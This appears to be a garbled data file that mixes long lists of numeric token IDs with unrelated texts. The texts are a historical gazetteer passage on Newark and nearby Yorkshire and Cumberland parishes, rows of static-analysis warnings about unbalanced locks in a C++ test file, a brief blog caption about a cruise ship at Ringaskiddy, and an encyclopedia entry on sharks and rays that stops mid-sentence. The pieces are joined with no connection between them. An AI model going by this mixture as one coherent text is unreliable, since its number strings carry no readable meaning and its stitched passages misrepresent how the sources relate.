1787, 15, 1668, 9944, 281, 3872, 6629, 13, 8157, 8970, 28, 281, 247, 187, 14323, 561, 552, 13, 8157, 8970, 28, 281, 253, 45504, 323, 15632, 13, 187, 81, 3292, 13, 285, 11138, 253, 3874, 13, 8157, 22308, 28, 285, 281, 253, 187, 38643, 1034, 561, 323, 253, 8706, 273, 253, 6105, 13, 21334, 434, 285, 187, 339, 28807, 434, 32510, 13, 708, 68, 904, 8157, 22330, 28, 16280, 40514, 557, 67, 9786, 942, 15, 1707, 403, 767, 44742, 273, 8157, 1438, 591, 2459, 360, 187, 14382, 13, 4802, 342, 253, 2143, 13, 534, 403, 4821, 187, 1542, 1264, 1107, 281, 1110, 665, 403, 10544, 281, 731, 15, 8966, 187, 49518, 13, 407, 588, 15483, 4163, 721, 394, 13, 1668, 2055, 13, 320, 1452, 41746, 281, 253, 187, 46723, 318, 8157, 14744, 13, 25091, 253, 4711, 281, 320, 3991, 456, 281, 253, 12153, 285, 1329, 273, 247, 8911, 390, 187, 21107, 2143, 15, 1219, 983, 24761, 323, 25963, 10027, 264, 187, 1206, 3355, 3767, 285, 3578, 5261, 5811, 13, 497, 2975, 11420, 187, 395, 39433, 762, 253, 588, 84, 273, 7252, 38881, 1519, 13, 187, 961, 22442, 13, 15483, 1458, 3208, 13, 285, 6086, 18682, 13, 15483, 187, 1166, 4148, 28, 253, 6021, 310, 8157, 48172, 15, 659, 15, 27708, 434, 4675, 13, 323, 187, 12496, 7732, 13, 369, 11420, 407, 13651, 13, 19520, 273, 15915, 13, 670, 337, 9312, 13, 285, 39433, 342, 13446, 1024, 9603, 247, 19272, 273, 8157, 805, 2950, 15, 25838, 643, 2750, 3518, 13, 187, 19581, 272, 281, 670, 8157, 5388, 591, 2459, 360, 13, 403, 3732, 762, 187, 783, 3884, 273, 19489, 39777, 15, 380, 8083, 273, 35699, 187, 681, 21264, 7584, 1061, 6419, 390, 5053, 13, 273, 534, 2164, 403, 275, 253, 187, 68, 21597, 273, 48586, 13, 285, 2030, 275, 326, 273, 15915, 13, 253, 187, 40338, 4508, 247, 3072, 273, 3435, 13, 16552, 15, 187, 187, 510, 28478, 273, 253, 19887, 2882, 273, 253, 8346, 8099, 13, 187, 4609, 275, 10483, 247, 37039, 2170, 13, 285, 253, 20654, 10105, 13, 187, 3113, 697, 1708, 7753, 967, 50042, 4829, 3962, 13, 534, 310, 187, 3197, 347, 247, 10089, 14, 2484, 45289, 285, 331, 2272, 27, 387, 253, 6146, 14, 26139, 187, 2134, 273, 253, 10439, 2914, 310, 247, 6278, 15469, 13, 285, 275, 253, 187, 1154, 250, 273, 253, 19099, 1529, 28, 253, 4558, 273, 271, 9129, 20280, 403, 7985, 275, 253, 6146, 2914, 15, 4683, 345, 2254, 780, 9195, 627, 403, 642, 20229, 304, 265, 13, 3707, 253, 8099, 187, 1171, 271, 47974, 30867, 552, 13, 534, 556, 644, 11516, 715, 247, 187, 23985, 3485, 14, 5967, 27, 253, 2670, 273, 253, 2419, 273, 2176, 448, 24977, 187, 3225, 6655, 310, 1024, 13598, 407, 247, 1355, 20654, 35390, 15, 187, 25347, 2862, 8370, 209, 10029, 273, 30363, 6149, 13, 6898, 342, 9039, 967, 14910, 285, 39187, 13, 497, 1119, 275, 28063, 323, 253, 187, 14541, 318, 273, 247, 2419, 13, 275, 1283, 1731, 28, 285, 327, 253, 2670, 273, 253, 187, 26689, 13, 625, 685, 2233, 8413, 49004, 452, 644, 25640, 598, 15, 380, 187, 17124, 8370, 3971, 432, 4693, 281, 15915, 4817, 187, 10489, 35699, 28, 285, 275, 247, 4951, 1386, 2822, 253, 6105, 187, 609, 253, 4558, 273, 9129, 4668, 2987, 15, 9658, 296, 187, 783, 43609, 38646, 273, 253, 3874, 778, 320, 41671, 13, 275, 187, 29483, 281, 3196, 15, 18482, 316, 13, 697, 46131, 692, 290, 2750, 5906, 13, 2516, 187, 2906, 42132, 13, 247, 6311, 8406, 327, 9921, 285, 5869, 275, 253, 187, 25512, 16565, 5331, 28, 7195, 5219, 13, 19520, 273, 7993, 24653, 28, 3196, 15, 10315, 8938, 13, 253, 19651, 754, 4946, 382, 28, 285, 187, 23684, 3660, 13156, 1299, 13, 19520, 273, 4051, 47949, 13, 5686, 275, 253, 187, 2913, 1668, 4185, 15, 35699, 1461, 398, 253, 18134, 4060, 273, 657, 2865, 702, 187, 20026, 22992, 3083, 735, 15, 187, 187, 4257, 7187, 69, 313, 998, 15, 26876, 10, 187, 187, 24650, 44976, 37, 313, 998, 15, 26876, 582, 247, 25024, 13, 275, 253, 8083, 187, 1171, 31508, 2205, 13, 388, 4539, 2205, 14, 4678, 11660, 9025, 273, 253, 259, 522, 290, 640, 273, 3972, 394, 408, 13, 444, 15, 15150, 273, 2816, 28, 4508, 898, 3655, 187, 249, 8621, 262, 1103, 13, 273, 5207, 818, 1839, 403, 275, 253, 40707, 273, 3729, 187, 4257, 7187, 69, 13, 577, 6574, 313, 52, 15, 444, 11507, 285, 23540, 275, 326, 273, 3684, 187, 4257, 7187, 69, 13, 577, 8313, 6574, 313, 52, 15, 444, 15, 407, 322, 11507, 432, 15111, 14, 25935, 251, 15, 187, 510, 25024, 12093, 407, 13782, 8988, 1166, 20046, 13, 273, 187, 4609, 6480, 805, 403, 275, 3729, 13, 285, 37400, 275, 3684, 13, 1457, 7187, 69, 13, 253, 3438, 5110, 39288, 549, 494, 2659, 13, 285, 253, 187, 77, 2569, 549, 494, 285, 48554, 13, 734, 1033, 398, 264, 342, 43377, 187, 8186, 569, 28, 253, 2553, 310, 3807, 2907, 13, 253, 8825, 40400, 285, 187, 17676, 652, 13, 285, 253, 38811, 7968, 1452, 15, 380, 4200, 777, 1299, 187, 11807, 13, 25938, 273, 657, 2865, 702, 7667, 1106, 13, 665, 310, 17991, 273, 253, 187, 1342, 263, 273, 3684, 1457, 7187, 69, 13, 497, 20975, 22813, 1060, 15, 187, 510, 3811, 310, 247, 19439, 15951, 274, 486, 13, 275, 253, 24081, 486, 273, 187, 783, 42624, 273, 2816, 13, 21392, 275, 253, 6963, 434, 5098, 387, 187, 14775, 21, 28, 2036, 6021, 13, 8157, 1518, 15, 380, 6105, 310, 247, 29325, 4960, 187, 18317, 13, 40699, 275, 253, 22497, 3740, 13, 342, 21191, 339, 45276, 13, 187, 395, 247, 15469, 11002, 432, 253, 15171, 13, 285, 556, 2067, 187, 257, 16278, 11008, 285, 50042, 28, 1840, 253, 8624, 13032, 187, 261, 247, 5389, 23957, 273, 3824, 12933, 30575, 27, 253, 8266, 310, 2393, 187, 14376, 13, 1095, 8140, 4447, 285, 34367, 264, 15, 3856, 403, 187, 30345, 273, 17246, 323, 43921, 507, 285, 14140, 1483, 8378, 1346, 15, 8157, 2313, 591, 2459, 360, 13, 253, 320, 4557, 273, 7252, 24465, 275, 187, 1166, 1619, 13, 403, 4272, 387, 9449, 2190, 6818, 4105, 187, 49896, 665, 452, 417, 2959, 1061, 3770, 451, 6619, 28, 285, 187, 9088, 403, 690, 5884, 45643, 15, 187, 187, 4257, 2910, 187, 187, 24650, 35, 5626, 13, 247, 10546, 1059, 13, 275, 253, 25024, 273, 659, 1143, 251, 1615, 14, 32512, 11448, 13, 411, 15, 9025, 273, 253, 259, 522, 290, 640, 273, 411, 22194, 2184, 70, 13, 4243, 273, 50178, 13, 8083, 285, 9635, 273, 15915, 13, 187, 21, 8313, 6574, 313, 56, 15, 322, 15, 411, 2698, 432, 253, 3874, 273, 411, 22194, 1615, 28, 4508, 13, 342, 1720, 284, 1615, 13, 2233, 21251, 15, 187, 187, 4257, 2760, 6058, 187, 187, 24650, 35, 2431, 19842, 13, 247, 40707, 13, 275, 253, 25024, 273, 399, 20537, 13, 187, 20172, 273, 7009, 83, 334, 13, 2070, 506, 18588, 13, 444, 15, 9025, 273, 253, 187, 68, 21597, 273, 330, 44113, 13, 495, 12136, 6574, 313, 56, 15, 407, 322, 2698, 432, 7009, 83, 334, 28, 4508, 36076, 21251, 15, 733, 12093, 721, 2357, 187, 317, 373, 13, 273, 534, 6783, 403, 278, 1887, 15, 1623, 253, 12186, 3934, 275, 187, 1166, 3547, 13, 2659, 285, 247, 2583, 7830, 497, 7922, 275, 32470 ]	A court of record is held by the recorder for the cognizance of pleas to the amount of £300; sessions take place quarterly; and the sessions for the hundreds of Newark and Thurgarton are held as often, at the county hall in Cartergate. The county magistrates hold a pettysession on alternate Wednesdays. The powers of the county debt-court of Newark, established in 1847, extend over part of the registration-districts of Newark and Southwell. The town-hall, which stands in the market-place, is a stone edifice, built by the corporation, under the superintendence of Mr. Carr, out of the produce of testamentary estates for the improvement of the town; the expense of its erection was £1790, and two wings have since been added: the room used for assemblies is handsomely finished. The parish comprises by computation 1767 acres, of which 1176 are arable, and 490 pasture and meadow. The living is a vicarage, valued in the king's books at £21. 5. 2½., and in the patronage of the Crown; net income, £325; impropriators, the Duke of Newcastle and the Earl of Winchilsea. The church, which is one of the largest and most elegant in the kingdom, exhibits portions in all the styles of English architecture, and is a cruciform structure consisting of a nave, aisles, transepts, choir, and sepulchral chapels, with a lofty western tower surmounted by a fine octagonal spire. The base of the tower is Norman, and in the nave are two Norman piers. The choir is of exquisite workmanship, with ancient stone and oak stalls elaborately carved: it is separated from the nave by a rich oak screen, some parts of which, becoming decayed, have been successfully imitated by iron castings, the work of an artist resident at Newark. In this part of the edifice is one of the largest engraved brasses in the kingdom, elaborately ornamented, to the memory of Allan Flemyng, who died in 1361: a portion of this has been restored by the same artist. The large east window is in the later English style, and the piers and arches of the nave and choir are unusually rich. There are some excellent specimens of stained glass in the windows. The altar-piece, an admirable painting of the Resurrection of Lazarus, by Hilton, was presented by the artist, whose father was a native of the town. Christ Church, Lombard-street, erected by subscription in 1837, and consecrated by the Archbishop of York, is a handsome structure in the early English style, and contains 1020 sittings, of which 340 are free. The living is a perpetual curacy, with a glebe-house; patrons, certain Trustees appointed by the Subscribers. There are places of worship for General and Particular Baptists; Independents; Calvinistic, Primitive, and Wesleyan Methodists; and Roman Catholics: the chapel of the Roman Catholics, dedicated to the Holy Trinity, was completed in July 1837, at a cost of about £3000, and is a neat edifice with a handsome tower. The Free Grammar school was founded in 1530, by Dr. Thomas Magnus, Archdeacon of the East riding of Yorkshire, and a native of Newark, who, by will in 1550, bequeathed lands for the support of a "school of grammar and a school of song." The income, amounting to nearly £2400, is thus appropriated: to the grammar school, £270; to the song school, £105; to ten singing boys, £37. 16.; to national schools, £150; to a dispensary, £150; to the commissioners for lighting, paving, and improving the town, £290; and to the churchwardens for the repair of the church, clerk's and sexton's salaries, &c., £750; besides incidental disbursements. There are two exhibitions of £80 per annum each, connected with the school, which are continued for three years to those who are elected to them. Henry Stone, by will dated July 6th, 1688, bequeathed to the corporation £700, directing the produce to be appropriated to the foundation and support of a Jersey or working school. Almshouses for fourteen decayed tradesmen and ten widows, were respectively founded and endowed under the wills of William Phillipott, merchant, dated 1556, and George Lawrence, dated 1797; the income is £790. St. Leonard's hospital, for four persons, was founded by Alexander, Bishop of Lincoln, about 1125, and endowed with lands now producing a rental of £1246. Various other benefactions, amounting to about £500 per annum, are applied under the direction of charity trustees. The union of Newark comprises 49 parishes or places, of which 24 are in the county of Nottingham, and 25 in that of Lincoln, the whole containing a population of 27,350. The ruins of the castle consist of the outer walls, which inclose a spacious area, and the elegant crypt, with its light groined arches nearly perfect, which is used as a coal-wharf and stables: at the north-east angle of the western front is a square tower, and in the centre of the elevation another; the remains of an ancient portal are visible in the north front. Of conventual buildings there are no vestiges, except the walls of an Augustine Friary, which has been converted into a dwelling-house: the site of the house of certain chantry priests is now occupied by a small elegant mansion. Six entire Roman urns of baked earth, filled with calcined bones and ashes, were found in digging for the foundation of a house, in 1826; and on the site of the castle, more than 100 skeletons have been dug up. The great Roman road from London to Lincoln passed through Newark; and in a straight line near the church are the remains of ancient military works. Amongst the eminent natives of the town may be enumerated, in addition to Dr. Magnus, its munificent benefactor, John Ardern, a learned writer on medicine and surgery in the fifteenth century; Thomas White, Bishop of Peterborough; Dr. Lightfoot, the celebrated Hebraist; and William Warburton, Bishop of Gloucester, born in the year 1698. Newark confers the inferior title of Viscount upon Earl Manvers. Newbald (St. Nicholas) NEWBALD (St. Nicholas), a parish, in the union of Beverley, Hunsley-Beacon division of the wapentake of Harthill, E. riding of York; containing 973 inhabitants, of whom 738 are in the township of North Newbald, 4 miles (S. E.), and 235 in that of South Newbald, 4½ miles (S. E. by S.), from Market-Weighton. The parish comprises by computation 5717 acres, of which 3812 are in North, and 1905 in South, Newbald, the former portion principally arable land, and the latter arable and pasture, interspersed with thriving plantations; the surface is undulated, the soil chalk and gravel, and the scenery picturesque. The Monckton family, ancestors of Viscount Galway, who is lord of the manor of South Newbald, were formerly seated here. The living is a discharged vicarage, in the patronage of the Archbishop of York, valued in the king's books at £4; net income, £200. The church is a cruciform structure, chiefly in the Norman style, with transepts, and a tower rising from the intersection, and has several enriched doors and arches; above the principal entrance is a beautiful statue of Our Saviour: the font is early English, curiously formed and ornamented. Here are places of worship for Wesleyans and Primitive Methodists. £100 per annum, the bequest of William Gill in 1728, are divided at Christmas among twenty poor families who have not received parochial relief; and there are some minor charities. Newball NEWBALL, a hamlet, in the parish of Staintonby-Langworth, W. division of the wapentake of Wraggoe, parts of Lindsey, union and county of Lincoln, 4½ miles (W. S. W.) from the town of Wragby; containing, with Reasby, 100 inhabitants. Newbiggin NEWBIGGIN, a township, in the parish of Dacre, union of Penrith, Leath ward, E. division of the county of Cumberland, 3¾ miles (W. by S.) from Penrith; containing 341 inhabitants. It comprises 677 acres, of which 500 are moor. On the inclosure in 1772, land and a money payment were assigned in lieu
[ 37572, 390, 1537, 320, 12623, 625, 2069, 685, 352, 310, 37572, 15, 1040, 187, 93, 1071, 15, 14161, 27, 20914, 27, 883, 27, 20914, 27, 1093, 1040, 1067, 281, 1611, 64, 4348, 1040, 831, 5569, 1537, 417, 320, 37572, 390, 1537, 320, 12623, 625, 2069, 685, 352, 310, 37572, 15, 1040, 187, 93, 1071, 15, 14161, 27, 27893, 27, 883, 27, 27893, 27, 1093, 1040, 1067, 281, 1611, 64, 4348, 1040, 831, 5569, 1537, 417, 320, 37572, 390, 1537, 320, 12623, 625, 2069, 685, 352, 310, 37572, 15, 1040, 187, 93, 1071, 15, 14161, 27, 34277, 27, 25, 27, 34277, 27, 1166, 1040, 1067, 281, 2873, 911, 64, 4348, 1040, 831, 5569, 1537, 417, 320, 37572, 390, 1537, 320, 12623, 625, 2069, 685, 352, 310, 37572, 15, 1040, 187, 13422, 36304, 187, 187, 49396, 187, 187, 510, 14869, 36413, 187, 187, 19591, 5826, 15, 329, 1077, 13, 1077, 13, 1077, 1781, 9735, 277, 4121, 275, 22668, 1945, 47994, 313, 10383, 608, 16, 23, 29202, 4446, 432, 2639, 10389, 16373, 10, 285, 745, 2799, 84, 247, 12190, 273, 18289, 20193, 24359, 323, 247, 1643, 1897, 15, 831, 369, 2668, 816, 1078, 352, 457, 84, 16018, 13, 534, 369, 671, 247, 4936, 18830, 326, 3047, 1142, 25108, 13, 1690, 1980, 18680, 13, 1705, 562, 281, 1924, 323, 20731, 414, 15, 3954, 247, 25747, 2190, 352, 457, 84, 18903, 13, 253, 2571, 452, 2668, 281, 36267, 275, 10151, 27911, 73, 534, 309, 2868, 6131, 247, 625, 49625, 1728, 323, 253, 26603, 11811, 15, 1779, 857, 32246, 1994, 265, 187, 187, 42675, 13416, 187, 27004, 26051, 6752, 380, 443, 1079, 5901, 3690, 15, 187, 187, 1779, 857, 32246, 1994, 265, 187, 187, 510, 966, 775, 857, 32246, 1994, 265, 8414, 273, 253, 7281, 300, 26093, 528, 49720, 13, 1690, 44470, 13, 10464, 9448, 313, 20237, 13, 1629, 684, 13, 12609, 12306, 13, 285, 3047, 71, 6419, 582, 285, 448, 8032, 11987, 13, 390, 2839, 71, 6419, 15, 329, 11117, 1387, 11616, 625, 685, 18450, 3417, 13, 775, 857, 32246, 1994, 507, 403, 1119, 4768, 253, 1533, 434, 40277, 285, 275, 690, 45199, 12620, 15, 380, 1387, 347, 247, 2644, 310, 7943, 417, 407, 17160, 1025, 5961, 533, 407, 247, 29564, 273, 2602, 13, 12112, 25548, 21817, 342, 1892, 4408, 15, 775, 857, 32246, 1994, 507, 3480, 253, 2329, 14, 14653, 10831, 18676, 1119, 275, 954, 45861, 6773, 13, 285, 3103, 1364, 10831, 14949, 281, 3297, 247, 9599, 15, 11262, 899, 4306, 310, 21075, 407, 1708, 24201, 275, 253, 6728, 13, 534, 476, 19142, 598, 281, 2030, 2558, 273, 247, 35409, 434, 2264, 2133, 2801, 15, 187, 187, 1779, 857, 32246, 1994, 266, 10798, 452, 247, 31084, 502, 25449, 13, 247, 18052, 1963, 908, 275, 31112, 15, 16513, 954, 45861, 49720, 13, 512, 28877, 32246, 1994, 507, 452, 4812, 46960, 15, 2719, 7662, 476, 320, 14246, 532, 274, 528, 313, 15328, 272, 11624, 13, 19836, 253, 346, 78, 693, 13774, 434, 1460, 6628, 3, 1119, 327, 29780, 582, 25898, 532, 274, 528, 313, 22621, 14, 26201, 582, 390, 14246, 729, 400, 532, 274, 528, 313, 909, 5943, 4824, 1561, 253, 3101, 481, 187, 187, 510, 32337, 273, 775, 857, 32246, 1994, 266, 310, 273, 1600, 281, 2923, 8607, 984, 253, 25548, 273, 28877, 32246, 1994, 507, 4428, 15991, 1929, 281, 15582, 253, 3116, 273, 8837, 13, 285, 2923, 310, 6685, 7520, 275, 44470, 15, 380, 1387, 310, 7943, 407, 21927, 1238, 11498, 313, 12563, 1925, 48381, 13822, 3741, 13, 390, 4808, 9970, 582, 342, 247, 2605, 2074, 281, 9970, 11253, 273, 271, 8346, 46803, 3828, 13, 13822, 460, 13, 285, 271, 6703, 32061, 13369, 15, 1284, 253, 5893, 17202, 13, 253, 4808, 2553, 310, 11848, 407, 253, 1635, 273, 625, 11498, 2581, 685, 407, 253, 3116, 273, 2060, 11498, 15, 380, 9970, 3746, 403, 3365, 7321, 21927, 1238, 11498, 28, 44470, 452, 2067, 10175, 273, 9970, 13, 342, 5407, 9970, 1900, 6684, 3212, 253, 2914, 2252, 10175, 273, 5164, 9970, 15, 496, 690, 3417, 13, 271, 2060, 476, 17914, 625, 685, 1884, 13, 933, 9970, 275, 697, 12702, 15, 187, 187, 6872, 49720, 403, 2223, 1869, 273, 347, 20523, 2429, 281, 45861, 49720, 285, 2659, 14, 3169, 17073, 36613, 15, 6676, 28877, 32246, 1994, 507, 13, 2299, 13, 452, 16323, 18144, 41655, 326, 452, 1160, 731, 5547, 36207, 689, 247, 4618, 2491, 273, 33890, 15, 380, 21768, 273, 3939, 36207, 13, 1690, 1142, 44470, 13, 187, 609, 3340, 973, 3715, 15, 329, 19497, 3282, 273, 4854, 4483, 44470, 281, 19912, 21794, 432, 347, 2080, 1977, 347, 10257, 17249, 313, 10695, 4669, 481, 1583, 403, 3782, 7996, 281, 1698, 14, 18163, 36459, 824, 347, 1110, 23128, 407, 11062, 5074, 15, 18874, 310, 5189, 949, 253, 13628, 285, 949, 253, 11884, 1386, 1157, 247, 2962, 273, 6514, 14, 14653, 47399, 2112, 253, 1481, 285, 7123, 273, 253, 2133, 326, 3831, 17872, 1341, 7996, 281, 36459, 15, 1284, 275, 1142, 44970, 35486, 25045, 13, 253, 3304, 273, 247, 35409, 434, 5130, 310, 6107, 342, 247, 13341, 292, 360, 1157, 247, 6384, 326, 13806, 1708, 896, 715, 253, 5130, 13, 2403, 352, 6927, 281, 923, 275, 3317, 1708, 15, 16513, 954, 49720, 13, 44470, 476, 4796, 285, 5645, 616, 30980, 15, 496, 690, 3417, 13, 253, 2927, 403, 6885, 1309, 12422, 407, 253, 295, 882, 27427, 6384, 13, 247, 2605, 2074, 281, 271, 32153, 301, 15, 380, 3599, 4542, 706, 83, 3903, 74, 1387, 556, 6024, 19063, 44784, 327, 253, 2406, 1930, 273, 253, 2133, 28, 984, 273, 731, 13, 44470, 476, 2736, 10058, 6299, 273, 15991, 824, 347, 2614, 13, 534, 4483, 731, 281, 26710, 21794, 432, 13849, 273, 2067, 4289, 4669, 15, 6610, 13, 44470, 476, 2736, 8545, 6298, 3066, 253, 717, 23290, 3348, 273, 31529, 91, 5391, 13, 534, 403, 18052, 15384, 5939, 689, 247, 35409, 434, 1481, 326, 2736, 2544, 275, 8545, 18476, 15, 1608, 7969, 897, 841, 281, 3282, 253, 8545, 4910, 23128, 407, 253, 2798, 285, 13370, 273, 616, 21794, 15, 187, 187, 510, 966, 775, 857, 32246, 1994, 265, 3797, 767, 2201, 2390, 27, 253, 3599, 4542, 706, 83, 3903, 74, 313, 1200, 7969, 13, 1629, 684, 13, 285, 23154, 10, 285, 253, 4716, 80, 336, 545, 8952, 313, 348, 8032, 11987, 390, 2839, 71, 6419, 481, 3599, 4542, 706, 83, 3903, 84, 403, 2007, 4272, 715, 11329, 607, 2458, 313, 1200, 7969, 10, 285, 10464, 9448, 313, 20237, 285, 616, 17772, 481, 380, 18353, 1941, 273, 775, 857, 32246, 1994, 265, 275, 253, 22852, 1924, 310, 432, 253, 8397, 33286, 13, 253, 594, 14, 8890, 11362, 273, 401, 6419, 13, 432, 16176, 281, 9166, 3041, 1107, 3622, 15, 187, 187, 37315, 607, 2458, 313, 2809, 7969, 10, 187, 187, 2512, 403, 5512, 16176, 3417, 273, 44470, 15, 1583, 403, 7943, 407, 247, 6895, 406, 254, 1179, 8105, 313, 783, 5170, 2716, 1146, 3356, 685, 253, 2406, 2716, 582, 2620, 281, 5093, 305, 408, 1499, 953, 323, 37742, 13, 285, 247, 9971, 2133, 11173, 433, 387, 1097, 7637, 15, 187, 2809, 7969, 403, 2190, 253, 954, 46485, 273, 512, 17268, 15, 35555, 4466, 556, 36074, 4457, 1921, 253, 5434, 22691, 407, 44470, 281, 7497, 15, 380, 5002, 8852, 1282, 13, 342, 247, 1029, 4038, 273, 1097, 1966, 285, 1270, 3168, 35409, 7625, 13, 31218, 760, 581, 35409, 14, 4919, 4688, 1319, 1046, 4314, 1107, 15, 1707, 310, 1652, 1941, 326, 44470, 21794, 327, 7497, 323, 2739, 15, 329, 50196, 1180, 273, 35409, 8104, 2826, 2822, 14393, 285, 6150, 27405, 25405, 12395, 13, 285, 919, 15618, 13, 3692, 41243, 1981, 29217, 253, 3879, 273, 247, 14393, 327, 253, 2553, 13, 403, 625, 2779, 281, 320, 13964, 685, 660, 25642, 7940, 15, 2053, 2616, 5224, 326, 44470, 778, 320, 5384, 1170, 7497, 323, 35164, 390, 643, 1781, 17787, 21794, 15, 8598, 45289, 17988, 8785, 16545, 6773, 403, 671, 387, 3687, 2495, 273, 35409, 2983, 28, 253, 36459, 273, 247, 7635, 3834, 6773, 778, 6427, 44470, 13, 594, 581, 434, 5834, 943, 1900, 320, 41559, 15, 6061, 2716, 273, 2264, 35409, 8104, 3176, 281, 320, 3731, 27481, 32169, 390, 1302, 5363, 12646, 13, 342, 247, 8847, 3200, 17691, 253, 2983, 27, 253, 35409, 41482, 697, 1481, 432, 1930, 281, 1930, 285, 10831, 84, 896, 285, 6593, 1486, 5372, 13, 342, 697, 1481, 8042, 598, 15, 5595, 44470, 326, 2983, 7497, 403, 5315, 413, 1661, 44470, 13, 1690, 253, 1270, 3168, 44470, 313, 42149, 79, 15203, 2387, 285, 997, 9623, 44470, 313, 36, 1116, 274, 23187, 15203, 5349, 44470, 275, 841, 5870, 3997, 327, 1781, 6773, 390, 17787, 25045, 15, 1720, 371, 9623, 44470, 2486, 253, 39121, 35409, 285, 253, 12156, 35409, 13, 534, 3997, 8558, 327, 643, 44470, 15, 44591, 2522, 44470, 313, 52, 545, 6147, 79, 15203, 2387, 2714, 907, 275, 20362, 38278, 20237, 15, 187, 187, 510, 499, 41484, 14, 26449, 35105, 44470, 313, 27837, 1763, 32430, 15203, 2387, 403, 253, 1533, 434, 6253, 49720, 13, 342, 16095, 273, 598, 281, 1283, 17249, 313, 1549, 4669, 481, 5131, 5699, 499, 41484, 3997, 398, 2486, 253, 13390, 314, 4907, 19488, 312, 2001, 84, 313, 46, 909, 607, 4542, 15203, 2387, 285, 1666, 4351, 44470, 313, 36, 292, 263, 23187, 15203, 13441, 2053, 44470, 10831, 342, 616, 37111, 1527, 13, 3405, 1699, 499, 41484, 949, 7321, 5289, 2330, 342, 253, 305, 3171, 15, 187, 187, 6175, 253, 4067, 44470, 403, 1805, 1929, 281, 253, 2087, 1345, 13, 4577, 3417, 403, 2080, 625, 11117, 285, 17829, 15, 380, 322, 15847, 15203, 2486, 253, 653, 5104, 4370, 12306, 13, 534, 28468, 7194, 327, 275, 31861, 36613, 28, 352, 310, 247, 7583, 7431, 323, 11250, 275, 247, 6773, 285, 16666, 8955, 285, 323, 20874, 32508, 15, 8035, 3558, 273, 253, 322, 15847, 15203, 13, 253, 13064, 4995, 313, 12496, 14, 12099, 10, 19550, 14, 7317, 350, 35409, 13, 8505, 4648, 253, 1708, 14, 28916, 15384, 3781, 264, 1475, 697, 2133, 281, 25066, 247, 2143, 273, 1355, 6773, 15, 831, 45465, 1781, 6773, 13, 534, 253, 19550, 14, 7317, 350, 35409, 840, 8104, 13, 9968, 562, 247, 3790, 5110, 273, 15447, 342, 24443, 7321, 9970, 15, 29961, 44470, 313, 49, 2198, 17591, 1688, 15203, 2387, 897, 247, 1048, 3802, 483, 21817, 342, 9479, 9970, 281, 41048, 616, 1039, 949, 6629, 273, 6773, 28, 597, 840, 1091, 281, 3997, 327, 16545, 6773, 285, 667, 31418, 7437, 597, 778, 1089, 15, 380, 23087, 35409, 313, 44824, 5009, 15203, 2387, 29217, 247, 21868, 533, 476, 320, 15622, 407, 305, 408, 29239, 327, 253, 1930, 273, 253, 1481, 2581, 685, 327, 697, 5004, 285, 407, 253, 958, 326, 253, 268, 7720, 267, 45006, 403, 417, 7660, 281, 253, 1930, 273, 253, 1481, 347, 597, 403, 275, 10464, 9448, 15, 187, 187, 42818, 9448, 313, 51, 698, 13, 8229, 684, 13, 443, 36567, 71, 6419, 13, 285, 29961, 71, 6419, 10, 187, 187, 510, 36110, 3417, 273, 436, 11117, 1387, 273, 49720, 452, 275, 1846, 247, 42394, 2133, 342, 11848, 268, 7720, 267, 45006, 29843, 281, 253, 1481, 313, 783, 346, 88, 723, 3, 275, 23154, 481, 15103, 9448, 403, 5939, 4768, 253, 1533, 434, 40277, 285, 275, 690, 20856, 45199, 12620, 15, 187, 187, 52, 1403, 12306, 313, 49, 2198, 301, 4960, 265, 2387, 476, 8268, 818, 17249, 313, 1508, 4669, 10, 275, 2978, 28, 597, 452, 247, 1048, 3802, 483, 21817, 342, 3047, 3022, 9970, 285, 9232, 21794, 751, 253, 3047, 44470, 2529, 1840, 15, 443, 36567, 12306, 390, 42553, 48848, 23154, 313, 51, 23187, 706, 255, 4960, 265, 2387, 403, 7943, 407, 247, 1048, 13, 5026, 2133, 285, 4942, 6891, 268, 7720, 267, 45006, 28, 597, 3997, 7194, 327, 275, 31861, 36613, 327, 253, 41240, 5004, 15, 8229, 684, 313, 51, 1432, 4960, 265, 2387, 403, 1119, 187, 39025, 275, 3676, 1824, 28, 597, 13, 1512, 13, 3997, 327, 275, 31861, 36613, 285, 403, 15622, 407, 247, 2962, 273, 289, 35546, 327, 253, 8105, 15, 187, 187, 510, 1340, 2752, 965, 706, 255, 301, 4960, 265, 4428, 2067, 3510, 273, 21868, 15, 380, 1781, 42484, 23154, 313, 3220, 965, 706, 255, 15203, 2387, 452, 2266, 13, 27602, 268, 7720, 267, 45006, 323, 5233, 17120, 15, 353, 7300, 23154, 313, 46, 706, 335, 15203, 2387, 403, 253, 6253, 23154, 13, 863, 1776, 34414, 273, 670, 818, 17249, 313, 20, 4669, 558, 751, 253, 6253, 44470, 13, 597, 8800, 18052, 6208, 31369, 323, 12422, 327, 499, 41484, 15, 659, 272, 20237, 313 ]	unlocked or might be locked more times than it is unlocked. \| \| test.cpp:303:11:303:18 \| call to try_lock \| This lock might not be unlocked or might be locked more times than it is unlocked. \| \| test.cpp:313:11:313:18 \| call to try_lock \| This lock might not be unlocked or might be locked more times than it is unlocked. \| \| test.cpp:442:8:442:17 \| call to mutex_lock \| This lock might not be unlocked or might be locked more times than it is unlocked. \| Search Posts Categories The Constellation April 2005. A very, very, very large boat docks in Ringaskiddy (about 5/6 mins drive from Carrigaline) and offloads a bunch of presumably wealthy tourists for a few days. This was taken just before it’s departure, which was also a grand affair that saw many locals, including local journalists, come out to record for posterity. Now a dwarf among it’s sisters, the others have taken to docking in nearby Cobh which I believe offers a more accommodating home for the cruise ships.Chondrichthyes Animal Sciences COPYRIGHT 2002 The Gale Group Inc. Chondrichthyes The class Chondrichthyes consists of the cartilaginous fishes, including sharks, batoids (rays, skates, guitarfish, and sawfishes), and chimaeras, or ratfishes. A diverse group comprising more than 700 species, Chondrichthyans are found throughout the world's oceans and in some freshwater environments. The group as a whole is characterized not by mineralized bone but by a skeleton of soft, flexible cartilage lined with hard tissue. Chondrichthyans lack the air-filled swim bladder found in most bony fish, and therefore must swim continuously to stay afloat. Buoyancy is assisted by light oils in the liver, which can comprise up to 25 percent of a shark's total body weight. Chondrichthyan males have a pelvic clasper, a specialized organ used in mating. Unlike most bony fishes, all chondrichthyans have internal fertilization. Reproduction can be oviparous (laying eggs, notably the "mermaid's purses" found on beaches), viviparous (live-bearing), or ovoviviparous (eggs carried within the mother). The physiology of Chondrichthyan is of interest to cancer researchers because the cartilage of chondrichthyans contains substances known to inhibit the growth of tumors, and cancer is extremely rare in sharks. The group is characterized by placoid scales (also called dermal denticles, or skin teeth), with a structure similar to teeth consisting of an outer enamel layer, dentine, and an inner pulp cavity. As the animal grows, the skin surface is expanded by the addition of more scales rather than by the growth of individual scales. The teeth themselves are simply modified 